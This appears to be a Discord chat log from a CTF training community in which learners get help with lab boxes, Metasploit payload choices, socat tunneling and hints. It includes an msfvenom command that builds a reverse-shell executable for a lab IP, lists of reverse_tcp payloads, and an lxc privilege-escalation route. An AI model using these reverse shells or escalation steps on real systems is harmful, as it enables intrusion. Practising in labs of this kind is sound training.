wispy girder Jun 28, 2020, 12:53 PM

#

Nice write up! I couldn't find a way to portfwd the ssh port without meterpreter. Never thought of just uploading socat!

wooden mist Jun 28, 2020, 12:54 PM

#

socat seems like a very powerful tool 🤔

inland onyx Jun 28, 2020, 12:59 PM

#

Socat is honestly my favourite tool in existence

#

And that isn't an exaggeration

#

It is literally my favourite piece of software

hasty slate Jun 28, 2020, 1:00 PM

#

I actually first time used socat on that box..

inland onyx Jun 28, 2020, 1:00 PM

#

Runs on anything, and has virtually limitless potential

hasty slate Jun 28, 2020, 1:00 PM

#

thought it's a alternative to nc..

inland onyx Jun 28, 2020, 1:01 PM

#

It is, but infinitely more powerful

#

Like, infinitely

wooden mist Jun 28, 2020, 1:02 PM

#

i always used chisel for forwarding ports

inland onyx Jun 28, 2020, 1:02 PM

#

I've never used chisel. It's something I really need to look into, given how much I'm loving tunneling just now.

wraith marsh Jun 28, 2020, 1:07 PM

#

I always use chisel too, does socat have socks support?

inland onyx Jun 28, 2020, 1:08 PM

#

It should do @wraith marsh

#

Yes. It does

wraith marsh Jun 28, 2020, 1:09 PM

#

I'll check it out, chisel is a bit of a pain for socks

inland onyx Jun 28, 2020, 1:09 PM

#

As I said, I have yet to find anything comparable to socat

#

Heard good things about chisel

#

But the ease for things like encrypted shells in socat is just mental

#

Pulling a full tty shell out of the box is also a far cry greater than the (initially) volatile netcat shells too

wispy girder Jun 28, 2020, 1:37 PM

#

iirc there was an unintentional priv esc that you had to fix? What was that? 👀

true widget Jun 28, 2020, 1:40 PM

#

guys I need help with steel mountain.I m unable to identify which|| file seve||r is running on ||8080||.

#

thanks in advance

oblique cliff Jun 28, 2020, 1:47 PM

#

@true widget have your tried directory busting to see what’s there?

#

Or if you’re on the file server already have you enumerated and looked around to see the title

true widget Jun 28, 2020, 1:48 PM

#

@true widget have your tried directory busting to see what’s there?
@oblique cliff cant i find it using nmap by running it specificly on port ||8080||

#

nope I haent ised the directory buster yet

oblique cliff Jun 28, 2020, 1:49 PM

#

Maybe try that out then

true widget Jun 28, 2020, 1:53 PM

#

Maybe try that out then
@oblique cliff

📎 damn.png

solemn smelt Jun 28, 2020, 1:55 PM

#

Try looking at source code

true widget Jun 28, 2020, 1:57 PM

#

Try looking at source code
@solemn smelt didnt find anything

solemn smelt Jun 28, 2020, 1:58 PM

#

Look harder

#

or wait I might be thinking of another room never mind

#

No I’m right look at the source code

true widget Jun 28, 2020, 2:01 PM

#

No I’m right look at the source code
@solemn smelt okk i ll try harder

solemn smelt Jun 28, 2020, 2:04 PM

#

you could also look at the information given to you on the webpage itself and get the same result

true widget Jun 28, 2020, 2:09 PM

#

you could also look at the information given to you on the webpage itself and get the same result
@solemn smelt cant find it by looking at source code

rich gust Jun 28, 2020, 2:09 PM

#

Steel Mountain. Found the exploit with msf... used it, configured, and ran. I get an error when sending the payload.
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete

solemn smelt Jun 28, 2020, 2:11 PM

#

look for the creators link in the source code

#

also make sure you’re looking at the source code of the file server

true widget Jun 28, 2020, 2:18 PM

#

also make sure you’re looking at the source code of the file server
@solemn smelt i cant find it

oblique cliff Jun 28, 2020, 2:23 PM

#

@true widget it says it in that pic you sent

#

And as cryllic said the source code says it just look closer at the page

#

@rich gust that’s just a warning you can ignore it. Did you set your lhost?

rich gust Jun 28, 2020, 2:25 PM

#

I did. Exploit completed, but no session was created.

oblique cliff Jun 28, 2020, 2:26 PM

#

Can you show your options

rich gust Jun 28, 2020, 2:27 PM

#

📎 unknown.png

oblique cliff Jun 28, 2020, 2:28 PM

#

Incorrect payload

rich gust Jun 28, 2020, 2:28 PM

#

oh snap. we need TCP for this one

true widget Jun 28, 2020, 2:28 PM

#

@oblique cliff ||HttpFileServer httpd 2.3||?

oblique cliff Jun 28, 2020, 2:28 PM

#

Try it out and see if it works

rich gust Jun 28, 2020, 2:29 PM

#

yep. that's what it was.

true widget Jun 28, 2020, 2:32 PM

#

Try it out and see if it works
@oblique cliff i tried ||favicon http file server ||but it also didnt work

white salmon Jun 28, 2020, 2:36 PM

#

I need help for the decoding in Year of the Fox any hints for me?

oblique cliff Jun 28, 2020, 2:37 PM

#

@true widget just keep playing around with names youre in the right track

true widget Jun 28, 2020, 2:44 PM

#

@true widget just keep playing around with names youre in the right track
@oblique cliff found it

oblique cliff Jun 28, 2020, 2:44 PM

#

Awesome!

patent token Jun 28, 2020, 2:49 PM

#

Tripwire, you're going to need something other than the default payload for basically everything Windows related until Rapid7 patches the issue.

true widget Jun 28, 2020, 2:49 PM

#

Awesome!
@oblique cliff instead of using metasploit to get an initial shell cant i directly use it with python

oblique cliff Jun 28, 2020, 2:50 PM

#

@true widget there are several different approaches to getting an initial shell on that box

patent token Jun 28, 2020, 2:50 PM

#

My 100% manual method is fun, but a bit advanced. 😉

true widget Jun 28, 2020, 2:52 PM

#

@true widget there are several different approaches to getting an initial shell on that box
@oblique cliff should i use the exploit on ||8080||?

patent token Jun 28, 2020, 2:54 PM

#

Hey there Myk17. You should probably try to do some of it on your own first, and if you have issues, come back for a hint.

#

If you're unsure what you're doing, which is ok, we really do recommend trying some of the introductory rooms first. Things like RP:Nmap, RP:Metasploit, etc.

#

Additionally, please check the writeups that are in the room first as these will generally have the answer you're looking for, and do a better job at showing/explaining the task you're currently on without trying to do it through a chat box here.

true widget Jun 28, 2020, 2:57 PM

#

If you're unsure what you're doing, which is ok, we really do recommend trying some of the introductory rooms first. Things like RP:Nmap, RP:Metasploit, etc.
@patent token okkay buddy

patent token Jun 28, 2020, 2:57 PM

#

If you're unable to solve your issue at that point, stop back in #room-help and another community member or one of us Community Mentors would be happy to help more. 🙂

patent token Jun 28, 2020, 4:16 PM

#

If you are working on a Windows machine and are using Metasploit, it is currently defaulting to reverse_https payloads, which will likely not work. Please set your payload manually for the time being to one of the following:

windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp

If one of these do not work, we will be glad to help assist further.

minor bough Jun 28, 2020, 4:16 PM

#

patent token If you are working on a Windows machine and are using Metasploit, it is currentl...

fallen jolt Jun 28, 2020, 5:46 PM

#

does metasploit have any more help then on the -- help command? been looking for a while for [ What option sets the architecture to be exploited?} but cant find anything about architecture.

ofc checked google aswell

patent token Jun 28, 2020, 5:49 PM

#

Have you tried show targets

#

?

fallen jolt Jun 28, 2020, 5:52 PM

#

hmm nope that didnt help much

#

found it!

rich gust Jun 28, 2020, 6:52 PM

#

How can I switch back to meterpreter from powershell?

#

ctrl+z kills the session :-(

median compass Jun 28, 2020, 6:59 PM

#

typing background ?

dull palm Jun 28, 2020, 8:25 PM

#

Hello ya'll hope everyone is doing well. Have a question about Post-Exploitation Basics: Task2, #3, I have a hidden file in users. dir -force does not show a hidden file except desktop.ini

#

dont want answer just guidance

hasty slate Jun 28, 2020, 8:27 PM

#

ctrl+z kills the session :-(
@rich gust no it doesn't. It pushes it to background. you can use sessions <id> to get back that session. also from linux perspective u can type fg to get that program.

solemn smelt Jun 28, 2020, 8:27 PM

#

@dull palm why do you assume that it’s a file

dull palm Jun 28, 2020, 8:29 PM

#

i dont assume ever 🙂 but dir -force searches for hidden files/ folders yes?

solemn smelt Jun 28, 2020, 8:30 PM

#

don’t know never used it. reread the question

rich gust Jun 28, 2020, 8:32 PM

#

GAH!!! So close >.<

📎 unknown.png

oblique cliff Jun 28, 2020, 8:34 PM

#

Did you set up a listener @rich gust

#

It’ll still throw that error

#

But you should get a reverse shell

rich gust Jun 28, 2020, 8:35 PM

#

I did...

#

📎 unknown.png

#

but no reverse shell

patent token Jun 28, 2020, 8:36 PM

#

Can you share in spoiler brackets what the msfvenom payload you used is?

rich gust Jun 28, 2020, 8:37 PM

#

||msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.1.62 LPORT=5555 -f exe -o Advanced.exe||

patent token Jun 28, 2020, 8:39 PM

#

If you're trying to connect via netcat, a Meterpreter shell isn't going to work.

rich gust Jun 28, 2020, 8:39 PM

#

🙁

patent token Jun 28, 2020, 8:39 PM

#

You need to use a ||windows/shell/reverse_tcp|| shell

#

That explains how you got a connection back, but crashed right away.

rich gust Jun 28, 2020, 8:40 PM

#

I see

#

oof... lol now it's saying The specified service does not exist as an installed service. and the netcat listener still connects but drops right away

#

im going to start back with a fresh machine to make sure I'm doing this right

#

... got it!

patent token Jun 28, 2020, 8:50 PM

#

Glad we got that sorted out for you.

rich gust Jun 28, 2020, 8:51 PM

#

||windows/shell_reverse_tcp|| is what I needed... instead of '_' I had '/' in the first position

oblique cliff Jun 28, 2020, 8:53 PM

#

Nice!

rich gust Jun 28, 2020, 8:54 PM

#

It's the little things that get you.

oblique cliff Jun 28, 2020, 8:55 PM

#

Always 🙂

dull palm Jun 28, 2020, 9:15 PM

#

Disregard i founded it

rich gust Jun 28, 2020, 9:27 PM

#

Can I post a screenshot of success?

#

😎

📎 unknown.png

patent token Jun 28, 2020, 9:28 PM

#

Nice one! Congrats.

rich gust Jun 29, 2020, 12:02 AM

#

@patent token I like how your writeup provides just enough detail to make the reader think about what they're doing.

patent token Jun 29, 2020, 12:31 AM

#

🙂

clear cargo Jun 29, 2020, 7:26 AM

#

nvm

steep oriole Jun 29, 2020, 8:11 AM

#

FINALLY finished yotf. Thanks to the write up giving me a push in the right direction to figure out the web portion. Took me almost a day after that to beat the rest of the box . Thanks @inland onyx for the great box. Learned some new tricks 🙂

white salmon Jun 29, 2020, 10:56 AM

#

i am interesting in the unintended route that was patched... now that there is a writeup will you share it ?

indigo ridge Jun 29, 2020, 12:09 PM

#

in yotf writeup why there is '(back ward slash)' in starting and end of the command injection..
target : ""; something echo""
and why this echo..

#

\

solemn smelt Jun 29, 2020, 12:13 PM

#

hmmm what writeup are you referring to muirland hasn’t released yet?

#

Nvm

#

he did

indigo ridge Jun 29, 2020, 12:23 PM

#

it is released

median compass Jun 29, 2020, 12:34 PM

#

i had to wrap my injection in || `backticks` ||@indigo ridge, maybe the \ is just a typo from trying to escape them

#

The unintended route was to use lxc @white salmon, originally the fox user was in the lxc group and it meant you could import a container where you have root privs and mount the host filesystem in it

white salmon Jun 29, 2020, 12:46 PM

#

understand all ... you could have just said lxc

one of my favorite paths to root!

median compass Jun 29, 2020, 2:17 PM

#

and you could have just said thanks for the answer @white salmon

white salmon Jun 29, 2020, 2:18 PM

#

Fair play

carmine scroll Jun 29, 2020, 3:52 PM

#

Can someone help with cve-2019-9053 exploit? I am trying to do simple CTF room but stuck with the exploit.

oblique cliff Jun 29, 2020, 3:53 PM

#

@carmine scroll sure, whats up?

#

do you have a specific question?

carmine scroll Jun 29, 2020, 3:54 PM

#

Actually, I am stuck with python errors of this exploit. Can i post a ss of errors i am facing? or can I DM you?

oblique cliff Jun 29, 2020, 3:55 PM

#

put them as spoilers, but sure to either

hasty slate Jun 29, 2020, 3:59 PM

#

i am interesting in the unintended route that was patched... now that there is a writeup will you share it ?
@white salmon also smbpasswd

white salmon Jun 29, 2020, 4:00 PM

#

thanks Legndery... didn't even think to check to abuse that

carmine scroll Jun 29, 2020, 4:05 PM

#

Thanks @oblique cliff

echo thunder Jun 29, 2020, 4:20 PM

#

Hi all

#

I need a clarification regarding yotf. Can anyone ping me please

#

?

toxic scarab Jun 29, 2020, 4:33 PM

#

@echo thunder what's the question?

echo thunder Jun 29, 2020, 4:35 PM

#

When I try to get reverse shell with socat the shell does not come back

#

it seems that the terminal is freezing

toxic scarab Jun 29, 2020, 4:36 PM

#

try asking this in #room-help - you need more than a hint

echo thunder Jun 29, 2020, 4:37 PM

#

I watched also the write-up

#

And it is the same sintax

tardy python Jun 29, 2020, 4:40 PM

#

hey i m stucked on binexp room on binary 2, anyone solved it ?

worthy iris Jun 29, 2020, 4:50 PM

#

hey guys, any idea how to play an mp3 file via terminal?

oblique cliff Jun 29, 2020, 4:51 PM

#

@tardy python what exactly is your question?

#

@worthy iris no need to play it in your terminal

tardy python Jun 29, 2020, 4:51 PM

#

the payload not working for me, myabe i missed something

worthy iris Jun 29, 2020, 4:52 PM

#

@worthy iris no need to play it in your terminal
@oblique cliff ok I'll keep looking

oblique cliff Jun 29, 2020, 4:53 PM

#

Nothing to look for. Just get it onto your host OS and play it there

worthy iris Jun 29, 2020, 4:53 PM

#

o

oblique cliff Jun 29, 2020, 4:53 PM

#

Oh sorry. You do have to play the file. I just meant you don’t strictly have to do it in yo ur terminal. Just playing it regularly is fine

tardy python Jun 29, 2020, 4:53 PM

#

can you check my script pretty quick ? can i dm you? @oblique cliff

oblique cliff Jun 29, 2020, 4:54 PM

#

No I wanna play bass. You can put it here and I’ll answer when I’m done or someone else can if they’re available

worthy iris Jun 29, 2020, 4:54 PM

#

ty bob

granite pelican Jun 29, 2020, 8:41 PM

#

Three letter technical term abbreviation for a WiFi password ?

#

Nvm, just had to Google HARDER

granite pelican Jun 29, 2020, 9:18 PM

#

How dost one open/view a file in an smb server

devout palm Jun 29, 2020, 9:20 PM

#

@granite pelican normally you'd download the file from the smb server

granite pelican Jun 29, 2020, 9:28 PM

#

Ok so I'm in the Network Services room. I'm in the profiles share and 4-4 says 'look around, who's profile dis'

Is there something I'm supposed to get from the files listed? If I can't open them?

wispy bloom Jun 29, 2020, 9:29 PM

#

can you see who owns them?

granite pelican Jun 29, 2020, 9:30 PM

#

No. There's D, DH, and H next to them, unsure about that

wispy bloom Jun 29, 2020, 9:32 PM

#

I haven't done that room but are there multiple directories?

#

Even if you can't open the file, you enumerate the directories and files within and it might give you a clue

granite pelican Jun 29, 2020, 9:32 PM

#

If D stands for directory, what does DH and H stand for

wispy bloom Jun 29, 2020, 9:34 PM

#

I have no idea what you're looking at. are you running ls or something to view it?

granite pelican Jun 29, 2020, 9:35 PM

#

Yeah ls.
For ex .cache is DH
.profile is H
.ssh is DH
And I can cd into .ssh

wispy bloom Jun 29, 2020, 9:36 PM

#

Well keep poking around at it. Sounds like you're close and maybe someone who has done that room might be able to help if you're still stuck

glacial mantle Jun 29, 2020, 10:37 PM

#

I need some hint for the room CCT2019

#

i have ||extracted archive.zip from the image but cant figure out the passwd||

#

[Task 3] CCT-2019 for1

devout palm Jun 29, 2020, 11:41 PM

#

@glacial mantle you awake?

glacial mantle Jun 29, 2020, 11:41 PM

#

Yes

devout palm Jun 29, 2020, 11:43 PM

#

@glacial mantle oh sorry, I thought you were stuck at the first zipfile, not archive.zip

#

just got there

glacial mantle Jun 29, 2020, 11:43 PM

#

ooh

#

please drop a hint if you make any progress

devout palm Jun 29, 2020, 11:57 PM

#

@glacial mantle will do, trying to figure it out myself atm.

glacial mantle Jun 29, 2020, 11:57 PM

#

thanks

exotic rose Jun 30, 2020, 1:05 AM

#

Looking for some hints for OWASP Juice Shop Broken Authentication task. I’ve looked thru all the reviews, found the ftp directory, but still haven’t found more info on Jim. Was thinking about using a hydra/Burp name list. Same with administrator password, was thinking about using hydra. Am I on the right path?

#

Thank you in advance!

devout palm Jun 30, 2020, 1:11 AM

#

@glacial mantle i'm stuck as hell. gimme a dm if you find the solution 😛

glacial mantle Jun 30, 2020, 1:11 AM

#

lol same!!

devout palm Jun 30, 2020, 1:12 AM

#

I keep coming back to the enigma machine, but I can't find any cipher text that fits it, so I guess that's a later step

glacial mantle Jun 30, 2020, 1:12 AM

#

Yeah the given image is of a 4 rotor enigma machine

devout palm Jun 30, 2020, 1:13 AM

#

no idea how to find the passphrase for the archive.zip though, been hitting my head against the wall for the last 30 minutes or so

glacial mantle Jun 30, 2020, 1:13 AM

#

lmao

devout palm Jun 30, 2020, 1:14 AM

#

anyway, sleep time. good luck

glacial mantle Jun 30, 2020, 1:14 AM

#

i am taking a break too, same to you!

blazing ruin Jun 30, 2020, 2:17 AM

#

📎 IMG_20200629_221646.jpg 📎 IMG_20200629_221602.jpg

#

Not sure what I am doing wrong here ..

digital iris Jun 30, 2020, 2:18 AM

#

look at what you're typing

#

and what the binary is actually called

patent token Jun 30, 2020, 2:19 AM

#

In the future it will help immensely for you to use the screenshot tool instead of cell phone pictures.

#

You can open Discord in a browser.

blazing ruin Jun 30, 2020, 2:20 AM

#

Can do 👍

oblique cliff Jun 30, 2020, 3:00 AM

#

@exotic rose the administrator password is very weak, you can either brute force or guess it 🙂

mild cargo Jun 30, 2020, 3:56 AM

#

Hi, can anyone help me out with this, I'm stuck at the Metasploit Box .

#

📎 JPEG_20200630_092655.jpg

#

📎 JPEG_20200630_092811.jpg

lean rover Jun 30, 2020, 3:59 AM

#

Please, take a screenshot of your screen.

#

Or describe your issue, I can not read those.

mild cargo Jun 30, 2020, 3:59 AM

#

Okay

lean rover Jun 30, 2020, 3:59 AM

#

Oh, wait.

#

If you are working on a Windows machine and are using Metasploit, it is currently defaulting to reverse_https payloads, which will likely not work. Please set your payload manually for the time being to one of the following:

windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp

If one of these do not work, we will be glad to help assist further.

mild cargo Jun 30, 2020, 4:03 AM

#

Yeah.. I'm virtual machine KALI and trying to exploit metasploit box. In task 5 , we have to get the session by using icecast exploit. But all the time session failed with an error REX::BindFailed The address is already in use or unavailable.